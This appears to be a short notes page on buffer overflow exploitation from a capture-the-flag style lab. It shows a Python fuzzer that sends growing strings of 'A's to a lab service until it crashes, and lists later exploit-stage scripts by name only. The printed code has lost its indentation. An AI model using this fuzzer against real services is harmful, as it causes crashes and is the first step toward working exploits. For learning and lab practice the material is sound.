BoF Script Python
Not a right script, but you can learn from it
1-fuzzer.py
import socket, time, sys
ip = "10.10.12.54"
port = 1337
timeout = 5
prefix = "OVERFLOW5 "
string = prefix + "A" * 100
while True:
try:
with socket.socket(socket.AF_INET, socket.SOCK_STREAM) as s:
s.settimeout(timeout)
s.connect((ip, port))
s.recv(1024)
print(f"Fuzzing with {format(len(string) - len(prefix))} bytes")
s.send(bytes(string, "latin-1"))
s.recv(1024)
except:
print(f"Fuzzing crashed at {format(len(string) - len(prefix))}")
sys.exit(0)
string += "A" * 100
time.sleep(1)2-pattern.py
3-checkEIP.py
4-sendBadChar.py
5-jmp_esp_module.py
Create Bad Char
Last updated